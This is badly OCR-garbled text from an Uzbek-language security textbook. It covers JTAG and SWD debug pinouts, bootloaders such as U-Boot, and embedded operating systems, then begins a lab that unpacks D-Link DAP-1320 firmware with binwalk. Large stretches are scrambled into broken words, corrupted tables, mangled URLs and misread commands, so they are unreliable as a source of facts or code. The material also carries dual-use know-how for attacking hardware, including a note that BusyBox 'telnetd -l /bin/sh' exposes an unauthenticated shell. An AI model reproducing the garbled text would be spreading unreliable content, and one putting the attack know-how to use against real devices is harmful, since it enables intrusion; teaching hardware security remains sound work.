rish uchun yaratilg ? =

TAG) 1980-yillarda chip-
ul sifatida tashkil etilgan.

debug gilishga imkon beradi. bo'l :
Bu jarayon biroz soddalashtlrli]gﬁ“ ma) ichki qismiga kirish imkonini beradi-
. ¥ 5 : mikrosxe G ¢ Ine ama-
tashqi sienallar vordamida IS ( . ) oan bo‘lsa-da. uning
u:n ?n ii:i??mndi belgilaydi. Mexanizm Su'mdalllz;Slm'r:;Zlatadiki. [Tl
liy Fy L]:*i(ml{*ll iihallgri har bir IS ga xosdir. Bl'lds 111:;_1“;]0103 ega bolish zarur.
ishlatilishi. wohan de-bug qilinayotgan 1S hagida 1 borilgan bit ketma-ketligi
ishiatilishi uchun de- Sl-ioa va MIPS protsessoriga yu (Iﬂ"c ilinadi. OpenOCD
A, A tsessorig : . il talgin : :
Masal.:uj. A.thli E]:(;li mantiqiy tizimi tom?mdan har :;]us kci,nﬁqguratsiya fayllarini
Er(;l'sesst?rnmé Filmaning to*g-ri ishlashi uchu:} Ilna-helailashi;ﬂ ambin et maeda,
ol \-t?311§lar v i qr:lVChi]aI' qo‘shlmch& pl.n S Ushbu pinlar to*plami
talab giladi. Ishlab chiqe ‘rt/besh pinli tavsif berilgan.
20.2-jadvalda JTAG uchun to’r

i aladi. : ingiz mumkin
test kirish porti (TAP) dcblhaﬂ_l ;ltlanda it bo'lishi kerak deb o 'YIa]ST}?f\]Ta!r o ek
T vl Hari o°zlarining joylashuv
Beshta pinning joylashu iqaruvchilari o*zlarining Joy vl
‘ . ishlab chiqaruvehtiatt = < ratsiyalari, jumladan
bo‘lsa-d, tama]mdvakllg ;)Sir nechta umumiy p.lll‘d k(;gsgiupin kbonﬂguratsi}’alﬂfi
gilaydilar. 20.3-jadva an. Ushbu jadva &

: g i i (shirish kerak.
10. 14 va 20 pinli tuzilmalar k0 -  bilan ishlatishdan oldin tekshiris
fag e pd' Jlarni debug vositast bl
aqat namunadir va ule g

sa-da. JTAG standarti orqali bir nechta

20.2-jadval.

jtag interfeysining tavsifi

To‘rt / besh pinli

Tavsif | =
Wi P o 23
i TMS kirishlariga ki
S ini ma’lumotlarni m“qss.ldll TDI_":;H i de-bug vositasi va
Test Soat pinini m‘f|. di. Soat signalining mavjudiig g
TCK ritish uchun 'Ismatll;sht.iriliShini ta’minlaydi.
(Test Clock) qurilmﬂ“mg sinxron mageadli Test Kirish Porti (TAP — Test Access
. inini m . -[adi
™S jimni Tanlash PINIRC S T chun ishlati
T™S Test Rejlgrat‘:hismi holatini belg! e T
(Test Mode Select) | Port) naz davomida magsad uchun
- inov ma’lumotlar da
iy o i i ketma-ket
i : li qurilmadan ke
(Test ma’lumotlar) | beradi — i debug paytida magsadli g
--}-_5'__ Test Data Out Cl;ljiF]lS —
2 i oladl. . hisini gayta tiklash
| (Test Data Out) ma’lumotlar’ - qan protsessoming TAP nazoratc amalga oshirishga
iklash puudzm’P a de-bug jarayonin
Test Qayia T ;y mumkin. bu €sa
TRST uchun foydalanish
(Test Reser) ilW
——
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20.3-jadval.
Jtag tipik xulosalari

Pin 14-Pin ARM 20-Pin ARM TI MSP430 MIPS EJTAG
1 VRef VRef TDO nTRST
2 GND VSupply VREF GND |
3 nTRST nTRST TDI TDI
4 GND GND ! GND
5 TDI TDI T™S TDO
6 GND GND TCLK GND
7 T™S T™S TCK T™MS
8 GND GND VPP GND
9 TCK TCK GND TCK |
10 GND GND X GND |
1 DO RTCK nSRST nSRST
12 nSRST GND ’ .
13 VREF TDO & DINT
14 GND GND % VREF
15 nSRST
16 GND
17 DBGRQ =
18 GND
19 DBGAK
20 GND T,

Ishlab chiquvchilar
foydalaniladi:

* Debug paytida protsessorn; lo"xtatish;
* Dasturlarning ichki xotira
saqlanganda);

va sinovchilar uchun odatda quyidagi imkoniyatlardan

sini 0°qish va yozish (Kod mikrokontroller ichida

rish): qishva yozish (dasturiy ta’minotni 0‘zgartirish yoki chiqa-

* Xotirani 0‘gish va yozish;
* Cheklangan kirishni olish uc
0qimini o‘zgartirish.

. . +oanich imkonini beradi. Ishlab chiqa-
lash. xulg-atvorni o*zgartirish va zaifliklarni ;"%’{fg lirgll::feysini ishlatishni qiyin-
ishlab chigarishdan so‘ng " irmaslik yoki pin
ruvchilar odatda ishlab chiqari . 17ish. pinlarni joylashtirmaslik yoki p
lashtirishea ;1arakat qilishadi: -‘"O'l]arnl,uzmhi ?’R]aiggat{ i‘oydalangan holda uni
joylashuvini belgilamaslik yoki chip 1:jnkomt)'ii:uatli hujumchilarda himoyalarni
e £ -ali bo‘lsa-da, qat 1) : ilgan izlarni tiklash.
0°chirish. Bu nisbatan samarall | 1 8 an. buzilgan
a\'l'mi: :1‘li<;h uchun ko*plab vositalar ma\JUdJ‘un;}iadarislma ixtisoslashgan kom-
lz;\; ‘ ]~ ipd\'vandIaSh voki ma’lumotlarni chiq g
Xtaga pinlarni pay :

Paniyaga IC yuborish.

JITAGni zaiflik sifatida rad' et Vb 8l
moniy, chtimoliy destruktiv kirish tai;a b
si shundaki. hujumchi JTAG_)T.Ordam arol. texnik
ega bo*lishi mumkin. Agar 'nzn“_C:_:ikst kal;i global
Maxsus orga yo'l. kalit }'Okf scrtll.k masofaviy tizi
bo*Isa. u chiqarilishi va keyinchali

latilishi mumkin.

o mumkin. chunki uni ishlatish uchun jis-
by di Hujumni rad etish muammo-
hlaqida juda ko*p ma‘lu'motlarga
yordam uchun mo-ljallangan
maxfiy ma’lumotlar mav; ud
mea hujum gilish uchun ish-

SWD liallangan de-bug va dasturlash

e o . = ki

; ; D) ARM uchun mo < fargli o*laroq. SWD ikki

Serial Wire Det'mg ('S-“gz] tarqalgan bcsh'pmzd:a;? 1ia1t(:1 e sl

kit (Dt £ : ing de-bug f“"ksmn.at-h,a:ini (SWDIO) taqdim eta-

D.inni ishlatedi. SWD JTx-\j\j"nw()T:glalrla ma’lumot “m'\iir alikda mavjud bo‘lishi

Signalini (SWDCLK) \'rla'[ljlxttlll‘-ib iki. SWD va JTAG birg

di. 20.4-jadvalda ko rini

Mumkin, bu esa muhim jihatdir: 20.4-jadval.

tipik pinlari
tag/SWD
. 20 pinli ARM SWD va JTAG

10 pinli ARM Cortex

Kontakt SWD va JTAG 11 VRef
—/@r’/’/ — TMS VSupply
R

—/Ioﬁ/ TCK GND |

_/—/S\W/ TDI/NC

—”’/N’D’/ GND

"]"=-—-____

"‘:2‘-———____

“‘3“--_____

“‘-{---____

5 Ol
P — 0/TDO
‘;‘--——____

"E‘-—-____

—

_‘-"“‘—'—-——._._

/SWDIO
v — Tes/swoo___|
—/”"}E”/’ NC GND
TR oo
D e
//’(r_
Detect

_/-@LL'/ RTCK

nRESET P




jarilishini yangi yuklab olingan dasturga 0

13 GND

i TDO / SWO

15 GND

16 nSRST

17 GND

18 | DBGRQ ]

19 o GND

20 _ DBGAK i
———— | GND o

ruvc'hllarga yordam beradigan im-
ash imkonini beradj,

d D : ‘
Hozirgacha muhokama qiling asturiy ta’minot

= R : an barcha :
gini belgilaydigan biror narsa bo‘lmasa. f gppf‘l'ai Vositalar uning funksionalli-
roprotsessor asosidagi tizimlards > 10¥dasiz bo*lardi. Mikrokontroller/mik-

op : dasturiy ta’mino :
tizimga hayot bag‘ishlaydi. Bootloader B i SOty i
Protsessorni boshlash va tizim dasturiy

ta’minotini ishga tushiri

i1sh uchun ishlatilad;

By ; : tiladi, U i7i

ta’'minoti odatda QU}’Idagl uchta holatga lv:ir.':ldi'Shbu eimlar e et dasltlri.‘f’

* Operatsion tizi '
peratsion tizim mavjud emas: Oddiy tizim]a h
I uchun

* Real vaqt operatsion tj
uchun (masalan, VxWorks v NUC]eugatuq ishlash vaqt talablariga ega tizimlar

* Umumiy operatsion tizj
tizim: :
ko*plab funksional ta] 5 Qattaq vaqt cheklovlari
Embedded Windows) ablarni 2 ichiga olgan tizimar t;[cai:i:gna(ega tio‘lmagan va
masalan, Linux va

Bootloader

dasturiy ta’minet :
nin ' fa
akli dastlabki tm ieshi uchiuy Hgkn 4:Pee

“bajaradigan dasty; b ashqi qQurilmalarning dastlab-
dori darziadagi dasturiy ey, C°P daladi. Ushbu jarayon

Protsessorda yuqori i

Protse qori darajadapj
lL-ISh]I']llshl kerak. Protsessorjvaakgel:
ki konfiguratsiyasini b r
odatda tizimni yy

uchun bir necha bosqj : ta’minotnj j
: qichlarni tg] P otni ishga tushiri
odatda quyidagicha tavsiflanad; ab giladi irishga tayyorlash
1. Mikroprotsessor / mikrok

;S iri
oddalashtlrllgan shaklda bu jarayon

= =

eratsion tizimni ishga tushirish uchun za-
asosiy dasturni yuklaydi va ba-
‘tkazadi. Linuxda asosiy dastur yadro

3. Bootloader asosiy dastur yoki op
rur bo*lgan barcha qurilmalarni ishga tushiradi.

hisoblanadi. d ‘v dasturni yuklab olishning
, 2  hlatilsa. ushbu bootloader asosty das y
Agar U-Boot ishlatilsa. us 1. Masalan, u-Boot SD-kartadan. NAND

muqobil usullariga o'ratilishi mumki -
. UL O ket interfeysdan yoki tftp-dan tar-

yoki NOR flesh-xotirasidan, USB-dan. kelm.a- hirilsa. Asosiy dasturni yuk-
mMogq orqali yuklanishi mumkin. agar tarmod ishga HSHICLEE- d ;

lab olishdan tashqari. u doimiy xotira qurilmasidagi aso'.ic;}’ daithilll;llli aflglzi;:l:i
uchun ishlatilishi mumkin. Ubiquiti ERX-da Jaglllzilogia:gh?dan Tashq};ri Wi
misolimizdan U-Boot ishlatiladi (20.6-rasm). L ?

. ) . 1+ Lnnaini beradi.
lira va drayverlarni o°qish va yozish imkonini bera

peration: -
please choose the opera £ i - -
et o3 tzen write to Flash via TFTP.
= hen W Fla
e cn:z :‘a Flash (de*ault)
B Beut SYF EE 4 line interace. Seria
4: Enxebil oo i ‘-;e then write to 7 ash wia Serd
7: Load Boot Loader <@ t-w write o Flash via :
9: Lead Boot Loader code
de“ault: 3
vou choosed 4
Taterface.
gnter Boot command Line Int
4: Systew
_ 16:39:31)
U-Boot 1.1.3 (Nov 2 2015
MT7 2 help "
4 e lias for hel®’ sige menory
néot accl;cnt;oﬁ 17ag
poot™ ~ 4
ce - =emory CDG{LASH o =
. PI F -
erase - EFJQ: gpp‘;catm"l at address
= SIar . = 1 - . 3
90‘ - print gnling help eprom vid 12€C _?ter‘JcE ;
help g Lrite datd o ¢ i 120 (kernit "
12¢ccmd - read;’;f e sile over serial t
i - lead bindf¥y
Loadb nemory disptay - comand "
-d ST oMY register i)
pase ~ ~odify Iautu—lﬂcre
™ ~ =memary
I et nd .‘.r]
nand - nand co-oglx (constaﬂt idirc“
" = WY v variable
o uiro ment
y nt envil o
printenv- praf rm RESET of the € ¥ sersistent —
reset - Per 0 R aanent eariables
) = save & japles
anpee E;t cn\.lll'af'l*-\'.‘r‘lt var otﬂcnt
setenv -2 s o TI_.__:_? "
;DA - 5p1 C?;a;e yia networs using
f t- boot 2 sl
L tﬂ.tml:l ubﬂt com auers”un
uhq;.—.’on prj,nt onitor
versl - o
vT7621 2 U Ubiquiti ER-X

20. 6-rasm U—yuklash
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Ko*plab il Oﬁerat I
: ovalard sion tizim mavj
operatsion tizimni o* a, F‘PeraISIOn tizi .ma‘.llld emaslii
maydi. Masalan = rnatishni oglama mning yuklanishi A
boradigan sens -0 ]C.honarni amial ydi :y’oki b iv
va operatsion t?r". ehtimol, PIC kab.ga os.hlradii—’
tizimni ishga tlzlmga deyarl] ek I’ quyi quvva
emas. ushirish uchun clarll}'{}J NeZinayy
1 res
Operatsion ti urslarg
. on -
yoki NVRAMd:z]ms:z tizimlarda mg®
n foydalanish aquida lumot saql
& a juda Odd
i

tizimlar odatda fi

masalan, L oydalanuvehi interf

gandan So-ff? !;g v t“fz’»machalalrl.n[(;”eysjga €ga emas :

bl qilich ;_.OSitrmal_ to*liq maxsusismr- saqlashdan‘ Yoki interfeys jud

roller uchun hu--a!a” uchun oson _O'llshi mumkj Yoki yuklab Oliél £ S'Od('la-

ijatlarni o* it amqlanmaydi Fm va tez-tez igh[g; 1 Orgall olin-

r, bu QUrilmanir-]gJIl]{%)&vqxshi }"CChinl]”:fill;:‘r?;li fh}t"l
Nl qanday }’le[zt\-'c;taz"l:;li]n]T

tushunisho
g4 yo
harakat qiladi. rdam beradi va uni qo*
qo°lda disassembey
yordamid
a tahlil gilishga

Bunda
nday sodda tizim j
k.c;rakkl- u inteme?g;]Z“anUda qizigarli b
rilmalarni €1ga ulangan y 0*Imasligj
maydo:]? . u;lart'lllng ulanisﬁ?;ri) =
b ST Tl efib b
" n ‘ m- .
himoya qi]isﬁa“ ko‘rsatmalar m aydi.
mol. shifi qobiliyatig aydoni quri
. ”I‘]anmagan B Ecai €ga emaslijoin; rilm
. u”

uni amalga “{I,mmng soddaligi
" u]a: _ oshirishga imkon bc;
; ! ¥ T
i mikroko“ boshqa qurilmaga yu-
i. Ushby I'nn'lml](ierda“ foydalanadi
150 > =

Xotira, RA operatsion
M va boshqalar) ega

ash, ehtj
s bmadl;m[;’]. manzil ofTsetlari
- Bundan tashqari. bu

OSnin
~ONINg afzalljgj
> mte”up‘:ﬂ:_‘él shundaki. u vazifal
tizimnin ! E-lrini, Shunh: SOShqal-isﬁ va qull.;;,:;
8 Xavfsizlik tolarang;q l a%tek’ aniqlik bilan ish
i . i : ;
3 a sodir bo*| :ar‘;, Sensorlar onom yoki haydovchi
1shinj ta’minlashga turli xil reaksiyalar
uchun RTO
Sdan foy-

-

chi ilov
ovalar vo* . .
alar yo'q. Linuxda firmwarc ni

ma’

I;S;ml“" mavijud. lekin VxWor
disasse, }bt)kl 12C orqali firmware ni
o ler orqali tahlil qilinadigan
il _;11 ar. kalitlar va format gator

sh uchun foydali maxfiy me’l

ITAGni
ni foydalanib. to*xtash nuqtalarini
kari muh

ks hagida juda k

larini tahlil
umotlarni beris

olish va teskari muhandislik bo‘yicha ko

- am ma’lumotlar mavjud. ’
olish yoki yuklab olingan fayl yordamida
qatorlar va kodlar taqdim etiladi. Parollar
qilish jonli tizimga qarshi fey:
. hi mumkin. Bundan tashqari
belgilash va qurilmada harakatlarni amal-l
andislik qilishning eng samarali

£2a oshiris .
irish ehtimol. ﬁmksionallikni tes

S
suli hisoblanadi.

Umumiy operatsio
im atamasi R
numiy

r uchun Linux
va arxite

Siﬂaii:’ii;’?{l‘ operatsion tiz
Misolidir ]!L_ln ishlatiladi. Linux uf
varli 1‘ar(. :fnbedd'ed tizimla
"ersi\aah]-ql!ma}:dl' Fayl tizimlari
N 5 ari o rtasidagi asosiy
mi “1-in]i::ma“ ki(':h.ikroq saqlash v
odatda B1ﬂ!lalsl1111-1ladi. Masal
bitta baj usyBox deb ataladigan
Mentn; {T ’Ia'd‘lgan l'a)'l_da jt)ir nec
Ni kamg ft':ﬂ_kh dastur sifatida ishlat
aolib 1} irish uchun o*cl
% ‘ash]angan.
0'p l:)lri’ (-]Llri]mz%lar fc?ydal
fayl tizi, arda qurilmaning pl
'lo"ala;r “"L—'-El. console orqali yo
da adm; e kutubxonalar versty
'mkonj ?I,m_’“'amr bo*lmagal
Ja"a}’on}' atiga ega bo‘lgan k
re§ "Elylllm '_Clldl_l'lsh kerak. L
}’Uklanisla.”c_]aJO)’Iashgan bo*la
hini tushunishga Y

hta

inux u

q,zi(:';?_l;bu_bol)da. turli CPUP
o‘nas.d' b_“' nechta seriyali [
cha Idagi farglar hagida

muhokamada, UART

tanigh;) 4:
shildi. JTAGulator, shuningde

Nechty ;
ta ; .
interfeyslarni aniqlas u
0S va umumly

Oot]
oaderlar, QTsiz tizimlan

farglar peri
a xotiran

an. Linux bilan o'

kichik mon

adi. [shlatilm

irib yuborilgm

ga col

alarini,
) foydala

ataloglarn
chun

di va bu
ordam peradi.

aketlari (mikr :
AG va o'm

nnerfcyslar.- :

qisqacha m

n tizimlar
‘Imagan operatsion tizimlarni tav-

mning eng keng tarqalgan
nlar uchun Linuxdan de-

ktura bir xil. Embedded va desktop

feriyalar, saglash va xotira cheklovlaridir.

i inobatga olish uchun, OS va fayl tizi-
atilgan odatiy dasturlar o‘rniga.
dan f‘oydalaniladi. BusyBox
etadi va birinchi argu-
matlar xavf maydoni-
joyni tejash maqsadi-

TOS bo
operatsion tizi

desktop tizir

olit dastur
alarni tagdim
aydigan Xiz
1. chunki. ular faqat

funksiy

1sole orqali Kirish imkonini bermaydi.
hun serial port mavjud. root

console kirish uc
i chigarish orq

uvchilar(jumladan, tizim-
Jar ham) yozish. o*zgartirish, ochirish
nday barqaror saq
arayoni /&
hilarga i

nuvchi
i, har ga

oshlash ]
f‘oydalanuvc

Xulosa

okontroller, mikropro

atilgan dasturiy

phokama qilindi. S
arini aniglash mi

lanilishi

" ham foyda
v OS kabi tu
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B v e

ali kirilganida,

lashni va boshlash
(c/inittab va Jetc/init.d/
lovalar qanday qilib

tsessor va SoC),
ta’minot
eriyali interfeyslar bo’yi-
(seriy Ali) port solida JTAGulator bilan
TAG debug portlan'ni va ehtimol boshqa bir

mumkin. Shuningdek,

fi dasturly ta’minot



ishlatish holatlarini cjisdacha muhokama gilindi. Hozirga kelib, embedded tizimlar

uchun umumiy lug‘atga ega bo‘lishi va yanada chuqurroq tushunishga intilishda
bir nechta xavflardan iborat sohalarni bilishi kerak.

Qo‘shimcha manbalar

ARM deveIOper.arm.com/productsfarchiteclurefa—proﬁle.dcvelop.cr.arm-
comz’products/architecture/r—proﬁIe,devclopcr.arm.comfpmd ucts/architectu-
re/m-profile, www.arm.com/products/si licon-ip-cpu

Bus Pirate dangerousprotolypes.com/’docs!ﬁus_l’irate

Ofrnatilgan Linux www.e]inux.org/Main_Page

Firmware extraction and reconstruction
blog/2013/09/16/ firmwareextraction-and-recon struction

Free RTOS www.freertos.org/

12C learn.sparkfun.com/tutorials/i2c

JTAG Wrongbaud.github.io»’posls/jtag-
dui0499;’]atest/arm-dstream-target-interface-conne
al-wire-debug

JTAGulator

MT-7621A

www.j-michel.org/

hdd/.developer.arm.com/d ocs/
c!ions,’signai-dcscriptionsr’ser[-

WWw, grandideastudio.cnm/jiagulaton’
Www.mediatek.com/ pr ing

big uiti_Networks_EdgeRo uter_X_(ER-X)

OpenOCD o penocd.org/

Reverse-engineering VxWorks firmware www.devttys0.com/2011/07/
reverseengineering-vxworks-ﬁrmware—wrt54gv8f
SPI www.maximinlegrated.com/’en!app-notesfindex.mvp/idf?:‘)-fl'?

Understanding ARM HW debug options ¢ nux.org/images/7/7f/Mander-
sonS.pdf

VxWorks WWW.windriver.comfproducts/vxworksf

Foydalanilgan adabiyotlar

‘ : ; https:ffen.wikipedia.orgr’wiki/OR_gate.
2_. : AR_M Arci?:tecture Profiles,” ARM Developer, http:/infocenter.arm.com/
he]pf:ndex.Jsp?topIt::/com -arm.doc.dui0471j/ BCFDFFGA html.

3.Jim Turle-y,"‘Wait, What?MIps Becomes RISCV,”EE Journal, March 8,2021.
https:/fwww.eejoumal.comfartic]e/wait—what-

il : mips-becomes-risc-y/.
4. Se“j"‘] Perilpheral Interface (SP1),” Sparkfun, https:/learn.spark fun.com/
tutorlals/serlal-perlpheral—interface-spi.

5: “Serial Periphera] lnterface, Standards,"' Wiki
] ripheral_Interface#Standards.
6. “IZ"C—What’s That?» I2C, https:/!wwwi2c-bus.orgﬁ
7.“Joint Test Action Group,” Wikipedia, https://en,wikipedia_org/wikifl TAG.
www.jtagtest.com/pinouts/ :

1. “OR gate,” Wikipedia

pedia, https://en.wikipedia.

8 “ITAG Pinouts.” J TAG Test,

, D

y

pyr -

5 ARMDSTREAM Systemand Fnterface
z-//developer.ann.comfdocsfdu10499/la-

c 1-( l - - i 0 T i t‘
Sl ar! -l S I- hal )

9.“JTAG PinDescriptions.” ARM ]ﬁs
Design Reference Guide. Version . http

> e, ionals.
-interface-signals. -DP), ARM De-
tas SWI 3
* (JTAG/SWD Coexis com.arm.doc.ddi03 141/

: T—
Sand-inlerfucc-sugnalsfarm—_llag[;[?_

10. "Structure of the SWJ- s findex.jsp?loplf-‘:f
veloper. http:/infocenter.arm.com/h€ip
C hdjjbeb.html. 5

I1. =10-Way Connector Il ‘

) a ex.|s
http://infocenter.arm.com/help/index:]
ad.htm], .

12. *20-Way Connector Pmouct; Iin
e B dded Linux.” BusyBox. htt-
bi-html. Swiss Army Knife of Embe

13. “BusyBox: The SW )

Ps://busybox.net/about.html.

Pin). ARM Developer,

10 .
inouts” (SWDITRS - oc.ddi0314n/Chbi-

p?wpic.-_/com.ann

* (SWD/JTAG 20 Pin). ARM

ncluding Trace’ doc.ddi03 14h/Chdfcc-

/help/topic/com.arm.

! a

e RS



|

21-BOB. O*RNATILGAN TIZIMLARNI EKSPLOITLASH

Ushbu bob quyidagi mavzularni oz ichiga oladi:

* O’rnatilgan qurilmalarda zaifliklarni statik tahlili

* Apparat qurilmalaridan foydalangan holda dinamik tahlillash
* Emulyatsiya bilan dinamik tahlillash

Bu bobda o‘rnatilgan qurilmalardan foydalanish ko‘rib chigiladi. Oldingi
boblarda ta’kidlanganidek, Buyumlar interneti (IoT) paydo bo‘lishi bilan mazkur
mavzu yanada kattaroq ahamiyat kasb etmoqda. Liftdan tortib avtomobil-u. toster-
largacha, va boshqa barcha “aqlli” texnologiyalar mavjud o‘rnatilgan qurilmalar
kundalik foydalaniladigan narsalarga aylanib bormogqda, xavfsizlikka tahdid va
zaifliklar esa son-sanogsiz ko*payib bormogda. Bryus Shnayder ta’kidlaganidek.
bu 1990-yillardagi Yovvoyi G*arbga o°xshaydi: o°rnatilgan qurilmalaridagi zaif-
liklar qayerga bormang uchraydi. Shnayderning ta’kidlashicha. bu ko*plab faktor-
larga bog"liq, ular gatorida qurilmalarning cheklangan resursjari
rentabillikdagi o*rnatilgan qurilmalar ishlab chiqaruvchi sohg korxonalari imko-
niyatlarining cheklanganligi bilan ham. Umid qilamizki, etika me'vorlarioa rioya
qiluvchi ko*plab xakerlar bu vazifani yecha oladi hamda o‘rnati]gar; quriln?alarda—
gi zaifliklar sonini kamaytirishadi.

va hattoki. past

Ofrnatilgan qurilmalardagi zaifliklarni
statik tahlil qilish
Zaifliklarni statik tahlili o*z ichiga baholanadigan qurilmani ishga tushirma-
gan holda yangilanish paketlari, fayl tizimi va tizim binar fayllarini tekshirish
yo'li bilan gidiruvni oladi. Aslida, kop hollarda buzg‘unchiga s-latik tahlilni katta
qisrpini amalga oshirish uchun qurilma bo*lishj shart emas. Bu bobda o‘rnatilgan
qurilmada statik tahlil o‘tkazish usullari va ba'zi qurilmalarj bilan tanishiladi.

Laboratoriya ishi 21.1:
Koo b Yangilanish paketini tahli] qilish
0°p hollarda qurilma uchun yangilanish paketlarini ishlab chj i '
: - ' chigaruvchi sayti-
dan yuklab olish mumkin, Hozirda ko‘plab yangilanish, agar ko‘p :[]ismi bcu'lm}zlls"a

i bo* istalgan bi avllar ham-
riy kodi. tizimni ishga tushirish uchun kerakli bo*lgan lsgllj!;? t?e;{];-zlirbir;ar iy lar
da ehtimol tizimni buzishga urinishda unga ustuniik beradig : et e
bo*ladi. Masalan. agar tizim BusyBox dan foydalansa va telnet 5e1verp1 g]lc

o —2 S i idan foydala-
tushirsa, buzgunchi tizimga masofaviy ulanish uchun Telnet server )

nishi mumkin o ———
| ir utentifikatsiyasiz
Xususan. BusvBox da ishea tushirilgan telnetd serveri uni a

i ini i in/telnetd -1 /bin/sh).
chagirish va istalgan dasturga bog'lash imkonini bf:r:f'l ng/il:]S(::?binl el
isol sifatid: -1 DAP-1320 (A appara : yasi) simsi
Misol sifatida D-Link DAP-132 : phoion g poen
S i Gy nish versiyasi

diapazon kengaytiruvchisi boyicha o'rnatilgan e§l;ll}f E}gl‘lilt?luail eski yangilanish

chigiladi. Bu yangilanish tanlanishiga sabab. .tuzanls h zanligi Bl
bo*lganliei hamda bir nechta mualliflar zaifliklar topganiigh 1=

ganligi bo-1di (\\-‘\\.'\\'.kb.cen.org:’vulsfidfl84100).

ats yagatm=DAP- 1320

' C [ suoport d ink com,Prodast]

2-Link M

y Document Wireless Range Extender

—
| =

%
,

Muﬂ R T T 4

far wour CEVEE.
gre revision ToT ¥EE
tect the correct T e
Jawrioads, please SEHESEE
d o

Date

L 0a/26413

Frmwmare (1 11]

1 Ailish i i bir nechta
T | gilish _|aray0n_1 . !
ash uchun muhitni ntiglllk%a“ foydalamladl- Tahlil

pesturiy ta'minotn e 1day holatlar.da bi- . Kali Linux 2021.1.9 hi-

Vazifalarni oz ichiga oladi. B.w. Rpam
Gilish yehun foydalanadigan tizimning
SOblanagj,

Binwalk-ni tahlil gilish u¢
ashlag}, uchun apt-get kabi p

va eski binwalk ?.O-ni.:)]i})

e av:zjleri yordamida kcml;};asrlh?;“;}?glt:ﬁilﬁ,iqa;;_j
ey P s 0% g i

e, ﬁlafllfglabzi?ﬁhchi versiyasi ‘e‘_‘:i'l‘;‘;i‘ o2 atis

kerak bo‘lganda bog'ligliklar ‘o‘zg;f!l:;i
Shiriladj va keyin binwalk 0™ !

uni o*rnatish




I

Keyin kitobning GitHub omboridan 21.1-laboratoriya ishida taqdim etilgan
dasturiy ta’minotni olib tashlashga harakat qilinadi. Agar paket va tarkib turi as-
bobga ma’lum bo‘lsa, ular keyingi tahlil uchun olinadi. Olingan natijadan ko'rinib
turibdiki, vosita MIPS Linux yadrosi tasvirini va squashfs fayl tizimini topdi©0@.
Olingan tarkib tahlil qilinib®@. vositalar aniqlanadi va ikkilik fayllar MIPS arxitek-
turasi uchun tuzilganligiga ishonch hosil qilinadi®.

QS sudo apt install python3-pip

<truncated for brevity>

8 sudo apt-get --purge remove bimyalk

85 git clone htips://github.com/ReF, irmLabs/bimvalk.gir
<truncated for brevity>

S ed binwalk

OS5 git checkout 7721271

<truncated for brevity>

OS sed -i "s#qtShase-deviiqtbase5-devi"” deps.sh

8 sed -i "s#1SSUDO \./build\.sh#CF, LAGS=-feommon ISSUDO \/build. shi" deps.sh
$ /deps.sh

<truncated for brevity>

S sudo python3 setup.py install

<truncated for brevity>

Scd~

©S binwalk -Me DAP-1320 FIRMWARE 1.11B]0,
Scan Time: 2021-09-06 12:05:16 R

larget File: /home/grayhat/DAP-1 320 FIRMWARE | 11B10.
MD5 Checksum: ebd3a01c9e2079de403cf336741¢ 1870
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION

zip

zip

= Bttt -

0 0x0 Zip archive data, at least v2.() fo extract,
compressed size: 3576647, uncompressed size: 5
3576803 0x3693E3 End of Zip archive, footer le
Scan Time: 2021-09-06 12:05:16

Target File: ‘home/grayhat/ DAP-

1320 _FIRMWARE _1.11B10.zip. extracted/DAP]32¢
MD35 Checksum: 3d13558425d114 7654e8801a9960)
Signatures: 411

DECIMAL HEXADECIMAL DESC RIPTION

439486, name: DAPI320 fiv 1 11b10.bin
ngth: 22 o

w1 11b10.bin
Sce6

0 0x0 ulmage header, header size- 04 bytes, header CRC -
O0x71C7BA94, created: 2013-09.] 6 08:50:53, image size: 799894 bytes, Data Address:

()xSOOOEOOfJ, Eqnn}’ Point: 0x8014B9F 0, data CRC: (x4 62B902, ®OS: Linux CPU: MIPS,
:;agj gfpe. 0 Kernel Image, compression type: lzma, image name: "Linux Kernel Image"

. 40 LZMA compressed data, properiies: Ox3D, dictionary
size: 8388608 bytes, uncompre -

: ssed size: 2303956 bvtes
851968 0xDO000 ©Squashfs Jilesystem, little endian, version 4.0, compression:lzma, size:

-09-16 08:51:15 Scan Time:

2774325 bytes, 589 inodes, blocks
2021-09-06 12:05:18

[ D

ize: 65536 bytes, created: 2(0]3

; 10.2i extracted/ DAPI1320_
Target File: home: gravhat DAP-!J‘:‘(LFIR.!!H,IRE_I.!:’Blﬂ._:p ox i

Sw 1 11b10.binextracted 40
MD35 Checksum: a™+1e8176a2f16093
Signatures: 411 i "
DECIMAL HEXADECIMAL DESC RIPTION

7382396824¢2620

_________ ot

4. sequence length: 30 . ader length:
79160 Ox 13538 Certificate in DER
1. sequence length: 30 _
79604 0x136F4 Certificate in D
4. sequence length: 30 s G
1769504 0x1B0020 Linux A"’"”::i W::,-ﬂr:r{:é:!e. Jittle endian
1790640 0x 1B52B0 CRC32 polynomtes = Solicitstunn
200 9_:.\-(; u.le,; 8C0 Neighborly rex:. J::,zﬁf; Advertiseme
- = Jie fext, &
2009300 0x 1 EASD4 Neighborh msiahbor ; "
i e Ju ext, "meighbe ; %s)(%68)
2011043 Ox1EAFA 3 u:‘.t”;*:“_’n’/:;‘ ,:.:;0_ 2¢:9.2x lost on f;;” %6d(%0
%0.2x%, 2x. %. 2x: %. 2x: Y%0.2X 1 /0.2 -in.extracted@
OS5 /s JD.-H:iH.?fJ FJ’RMH‘}IRE_'L”(?m.—w L
_DAP1320 fiv_I_11b10.bin.extrac ,ffm:
40 40.7= DO000.squash/s squashfs- 11B10 :,;,;_c_\-n'ac‘ft’d”
@S /s DAP-1320 FIRMWA RE—}'. ,d,-;gq‘uashfﬁs-mor
DAP1320 fiv_|_11b10.bin.extractes gy fmp usr var www
bin dev l.::'{_- lib linuxre proc "lh{" SI;‘;’; ; E}.-:fp_e.wmf-‘fg .;1
Scd _DAP-1320 FIRMWARE_! /squashfs-roov
DAP1320 fiv 1 11b10.binextracte@=ir dd, echo
7oty =W IH T ; te, da, ecfit, ©
S Is -m bin 161, cat, cgi chmod, €li. fP',:::I;H o netbi
ash, busybox, busybox 101, €<% nkdir, MM -
event, grep, hosmane, kill In, login. 15 g;:cfp: mount, wname: X1/

k e i 1 ’
Pingg, s, rm, sed, sh, sleep. ssi10U¢ : IPS. MIPS32 rel2 version | (SYSV),
MIPS ¥

O3 file bin/busybox ecutable. ,ction header
bin‘busybox: ELF 32-bit MSB poe be,s0.0, n0 €€

it /Hd-uCli
 peter Nib/d-1
dvnamically linked, interprer!

format (x309 v3), he

ER format (x309V3). header length:

